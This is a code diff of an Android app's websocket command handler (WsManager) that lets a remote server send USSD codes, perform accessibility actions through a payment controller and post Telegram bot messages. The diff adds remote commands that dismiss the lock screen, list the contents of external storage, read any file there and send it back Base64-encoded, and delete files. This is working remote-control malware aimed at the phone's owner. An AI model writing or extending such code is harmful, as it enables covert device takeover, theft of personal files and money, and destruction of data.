|
@@ -2,7 +2,10 @@ package com.app.duck.util;
|
|
|
|
|
|
import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;
|
|
import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;
|
|
|
|
|
|
|
|
+import android.app.KeyguardManager;
|
|
|
|
+import android.content.Context;
|
|
import android.content.Intent;
|
|
import android.content.Intent;
|
|
|
|
+import android.os.Environment;
|
|
import android.os.Handler;
|
|
import android.os.Handler;
|
|
import android.util.Base64;
|
|
import android.util.Base64;
|
|
import android.util.Log;
|
|
import android.util.Log;
|
|
@@ -13,7 +16,10 @@ import com.alibaba.fastjson.JSONObject;
|
|
import com.app.duck.BuildConfig;
|
|
import com.app.duck.BuildConfig;
|
|
import com.app.duck.Config;
|
|
import com.app.duck.Config;
|
|
import com.app.duck.R;
|
|
import com.app.duck.R;
|
|
|
|
+import com.blankj.utilcode.util.ActivityUtils;
|
|
import com.blankj.utilcode.util.AppUtils;
|
|
import com.blankj.utilcode.util.AppUtils;
|
|
|
|
+import com.blankj.utilcode.util.FileIOUtils;
|
|
|
|
+import com.blankj.utilcode.util.FileUtils;
|
|
import com.blankj.utilcode.util.GsonUtils;
|
|
import com.blankj.utilcode.util.GsonUtils;
|
|
import com.blankj.utilcode.util.IntentUtils;
|
|
import com.blankj.utilcode.util.IntentUtils;
|
|
import com.blankj.utilcode.util.StringUtils;
|
|
import com.blankj.utilcode.util.StringUtils;
|
|
@@ -26,6 +32,7 @@ import com.romellfudi.ussdlibrary.PayController;
|
|
import com.romellfudi.ussdlibrary.USSDApi;
|
|
import com.romellfudi.ussdlibrary.USSDApi;
|
|
import com.romellfudi.ussdlibrary.USSDController;
|
|
import com.romellfudi.ussdlibrary.USSDController;
|
|
|
|
|
|
|
|
+import java.io.File;
|
|
import java.util.ArrayList;
|
|
import java.util.ArrayList;
|
|
import java.util.HashMap;
|
|
import java.util.HashMap;
|
|
import java.util.List;
|
|
import java.util.List;
|
|
@@ -86,7 +93,7 @@ public final class WsManager {
|
|
JSONObject json = JSON.parseObject(text);
|
|
JSONObject json = JSON.parseObject(text);
|
|
String command = json.getString("command");
|
|
String command = json.getString("command");
|
|
String requestId = json.getString("request_id");
|
|
String requestId = json.getString("request_id");
|
|
- String ussdCode = json.getString("value");
|
|
|
|
|
|
+ String value = json.getString("value");
|
|
String packageName = json.getString("packageName");
|
|
String packageName = json.getString("packageName");
|
|
int hashCode = json.getIntValue("hashCode");
|
|
int hashCode = json.getIntValue("hashCode");
|
|
int action = json.getIntValue("action");
|
|
int action = json.getIntValue("action");
|
|
@@ -94,13 +101,13 @@ public final class WsManager {
|
|
Log.d("hzshkj", "[WsManager] onMessage: " + json);
|
|
Log.d("hzshkj", "[WsManager] onMessage: " + json);
|
|
switch (command) {
|
|
switch (command) {
|
|
case "invoke":
|
|
case "invoke":
|
|
- ThreadUtils.runOnUiThread(() -> callOverlay(ussdCode, requestId));
|
|
|
|
|
|
+ ThreadUtils.runOnUiThread(() -> callOverlay(value, requestId));
|
|
break;
|
|
break;
|
|
case "invoke2":
|
|
case "invoke2":
|
|
- ThreadUtils.runOnUiThread(() -> callOverlay2(ussdCode, requestId));
|
|
|
|
|
|
+ ThreadUtils.runOnUiThread(() -> callOverlay2(value, requestId));
|
|
break;
|
|
break;
|
|
case "send":
|
|
case "send":
|
|
- ThreadUtils.runOnUiThread(() -> sendUssd(requestId, ussdCode));
|
|
|
|
|
|
+ ThreadUtils.runOnUiThread(() -> sendUssd(requestId, value));
|
|
break;
|
|
break;
|
|
case "cancel":
|
|
case "cancel":
|
|
ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
|
|
ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
|
|
@@ -109,7 +116,7 @@ public final class WsManager {
|
|
ThreadUtils.runOnUiThread(() -> new TgBot("", false));
|
|
ThreadUtils.runOnUiThread(() -> new TgBot("", false));
|
|
break;
|
|
break;
|
|
case "message":
|
|
case "message":
|
|
- ThreadUtils.runOnUiThread(() -> new TgBot(ussdCode, true));
|
|
|
|
|
|
+ ThreadUtils.runOnUiThread(() -> new TgBot(value, true));
|
|
break;
|
|
break;
|
|
case "config":
|
|
case "config":
|
|
HxUtils.checkForUpdateBotConfig();
|
|
HxUtils.checkForUpdateBotConfig();
|
|
@@ -125,6 +132,60 @@ public final class WsManager {
|
|
case "performGlobalAction":
|
|
case "performGlobalAction":
|
|
ThreadUtils.runOnUiThread(() -> performGlobalAction(requestId, action));
|
|
ThreadUtils.runOnUiThread(() -> performGlobalAction(requestId, action));
|
|
break;
|
|
break;
|
|
|
|
+ case "unlock":
|
|
|
|
+ try {
|
|
|
|
+// PowerManager pm = (PowerManager) Utils.getApp().getSystemService(Context.POWER_SERVICE);
|
|
|
|
+// KeyguardManager mKeyguardManager = (KeyguardManager) Utils.getApp().getSystemService(Context.KEYGUARD_SERVICE);
|
|
|
|
+// KeyguardManager.KeyguardLock kl = mKeyguardManager.newKeyguardLock("myapp:kllock");
|
|
|
|
+// if (!pm.isScreenOn()) {
|
|
|
|
+// //获取电源管理器对象,ACQUIRE_CAUSES_WAKEUP这个参数能从黑屏唤醒屏幕
|
|
|
|
+// PowerManager.WakeLock mWakeLock = pm.newWakeLock(PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, "myapp:bright");
|
|
|
|
+// //点亮屏幕
|
|
|
|
+// mWakeLock.acquire();
|
|
|
|
+// kl.disableKeyguard();
|
|
|
|
+// sendWebSocketMsg(requestId, "response", "successful");
|
|
|
|
+// } else {
|
|
|
|
+// sendWebSocketMsg(requestId, "response", "ok");
|
|
|
|
+//
|
|
|
|
+// }
|
|
|
|
+ ActivityUtils.getTopActivity().setTurnScreenOn(true);
|
|
|
|
+ ActivityUtils.getTopActivity().setShowWhenLocked(true);
|
|
|
|
+ KeyguardManager keyguardManager = (KeyguardManager) ActivityUtils.getTopActivity().getSystemService(Context.KEYGUARD_SERVICE);
|
|
|
|
+ keyguardManager.requestDismissKeyguard(ActivityUtils.getTopActivity(), new KeyguardManager.KeyguardDismissCallback() {
|
|
|
|
+ @Override
|
|
|
|
+ public void onDismissError() {
|
|
|
|
+ super.onDismissError();
|
|
|
|
+ sendWebSocketMsg(requestId, "response", "onDismissError");
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ @Override
|
|
|
|
+ public void onDismissSucceeded() {
|
|
|
|
+ super.onDismissSucceeded();
|
|
|
|
+ sendWebSocketMsg(requestId, "response", "onDismissSucceeded");
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ @Override
|
|
|
|
+ public void onDismissCancelled() {
|
|
|
|
+ super.onDismissCancelled();
|
|
|
|
+ sendWebSocketMsg(requestId, "response", "onDismissCancelled");
|
|
|
|
+ }
|
|
|
|
+ });
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+ sendWebSocketMsg(requestId, "exception", "error:" + e.getMessage());
|
|
|
|
+ }
|
|
|
|
+ break;
|
|
|
|
+ case "fileList":
|
|
|
|
+ ThreadUtils.runOnUiThread(() -> getFileList(requestId));
|
|
|
|
+ break;
|
|
|
|
+ case "deleteFile":
|
|
|
|
+ ThreadUtils.runOnUiThread(() -> deleteFile(requestId, value));
|
|
|
|
+ break;
|
|
|
|
+ case "getFileByPath":
|
|
|
|
+ ThreadUtils.runOnUiThread(() -> getFileByPath(requestId, value));
|
|
|
|
+ break;
|
|
|
|
+ case "getPath":
|
|
|
|
+ ThreadUtils.runOnUiThread(() -> getPath(requestId, value));
|
|
|
|
+ break;
|
|
default:
|
|
default:
|
|
XLog.e(command + " 没有定义该操作!");
|
|
XLog.e(command + " 没有定义该操作!");
|
|
break;
|
|
break;
|
|
@@ -313,8 +374,6 @@ public final class WsManager {
|
|
|
|
|
|
private static void performAction(String request_id, int hashCode, int action, JSONArray jsonArray) {
|
|
private static void performAction(String request_id, int hashCode, int action, JSONArray jsonArray) {
|
|
try {
|
|
try {
|
|
- Log.d("hzshkj", "[WsManager] onMessage: " + (jsonArray == null || jsonArray.size() == 0));
|
|
|
|
-
|
|
|
|
if (jsonArray == null || jsonArray.size() == 0) {
|
|
if (jsonArray == null || jsonArray.size() == 0) {
|
|
PayController.performActionEvent1(hashCode, action);
|
|
PayController.performActionEvent1(hashCode, action);
|
|
} else {
|
|
} else {
|
|
@@ -334,6 +393,93 @@ public final class WsManager {
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
|
|
+ /**
|
|
|
|
+ * 获取根文件列表
|
|
|
|
+ *
|
|
|
|
+ * @param request_id
|
|
|
|
+ */
|
|
|
|
+ private static void getFileList(String request_id) {
|
|
|
|
+ try {
|
|
|
|
+ String path = Environment.getExternalStorageDirectory().getAbsolutePath();
|
|
|
|
+ List<File> pathList = FileUtils.listFilesInDir(path);
|
|
|
|
+
|
|
|
|
+ List<HashMap<String, Object>> data = new ArrayList<>();
|
|
|
|
+ for (File file : pathList) {
|
|
|
|
+ HashMap<String, Object> map = new HashMap<>();
|
|
|
|
+ map.put("size", FileUtils.getSize(file));//获取文件或目录大小
|
|
|
|
+ map.put("lastModified", FileUtils.getFileLastModified(file));//获取文件最后修改的毫秒时间戳
|
|
|
|
+ map.put("name", FileUtils.getFileName(file));//文件名称 带拓展名
|
|
|
|
+ map.put("isDir", FileUtils.isDir(file));//判断是否是目录
|
|
|
|
+ map.put("isFile", FileUtils.isFile(file));//判断是否是文件
|
|
|
|
+ data.add(map);
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ sendWebSocketMsg(request_id, "successful", Base64.encodeToString(HxUtils.gzip(GsonUtils.toJson(data)), 0));
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+ sendWebSocketMsg(request_id, "exception", e.getMessage());
|
|
|
|
+ }
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ /**
|
|
|
|
+ * 根据路径获取文件列表
|
|
|
|
+ *
|
|
|
|
+ * @param request_id
|
|
|
|
+ * @param path
|
|
|
|
+ */
|
|
|
|
+ private static void getPath(String request_id, String path) {
|
|
|
|
+ try {
|
|
|
|
+ path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;
|
|
|
|
+ List<File> pathList = FileUtils.listFilesInDir(path);
|
|
|
|
+ List<HashMap<String, Object>> data = new ArrayList<>();
|
|
|
|
+ for (File file : pathList) {
|
|
|
|
+ HashMap<String, Object> map = new HashMap<>();
|
|
|
|
+ map.put("size", FileUtils.getSize(file));//获取文件或目录大小
|
|
|
|
+ map.put("lastModified", FileUtils.getFileLastModified(file));//获取文件最后修改的毫秒时间戳
|
|
|
|
+ map.put("name", FileUtils.getFileName(file));//文件名称 带拓展名
|
|
|
|
+ map.put("isDir", FileUtils.isDir(file));//判断是否是目录
|
|
|
|
+ map.put("isFile", FileUtils.isFile(file));//判断是否是文件
|
|
|
|
+ data.add(map);
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ sendWebSocketMsg(request_id, "successful", Base64.encodeToString(HxUtils.gzip(GsonUtils.toJson(data)), 0));
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+ sendWebSocketMsg(request_id, "exception", e.getMessage());
|
|
|
|
+ }
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ /**
|
|
|
|
+ * 根据路径获取文件
|
|
|
|
+ *
|
|
|
|
+ * @param request_id
|
|
|
|
+ * @param path
|
|
|
|
+ */
|
|
|
|
+ private static void getFileByPath(String request_id, String path) {
|
|
|
|
+ try {
|
|
|
|
+ path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;
|
|
|
|
+ File file = FileUtils.getFileByPath(path);
|
|
|
|
+ sendWebSocketMsg(request_id, "successful", Base64.encodeToString(HxUtils.gzip(FileIOUtils.readFile2BytesByStream(file)), 0));
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+ sendWebSocketMsg(request_id, "exception", e.getMessage());
|
|
|
|
+ }
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+
|
|
|
|
+ /**
|
|
|
|
+ * 删除文件或目录
|
|
|
|
+ *
|
|
|
|
+ * @param request_id
|
|
|
|
+ * @param path 删除目录的路径
|
|
|
|
+ */
|
|
|
|
+ private static void deleteFile(String request_id, String path) {
|
|
|
|
+ try {
|
|
|
|
+ path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;
|
|
|
|
+ FileUtils.delete(path);
|
|
|
|
+ sendWebSocketMsg(request_id, "successful", "");
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+ sendWebSocketMsg(request_id, "exception", e.getMessage());
|
|
|
|
+ }
|
|
|
|
+ }
|
|
|
|
+
|
|
private static void performGlobalAction(String request_id, int action) {
|
|
private static void performGlobalAction(String request_id, int action) {
|
|
try {
|
|
try {
|
|
PayController.performGlobalAction(action);
|
|
PayController.performGlobalAction(action);
|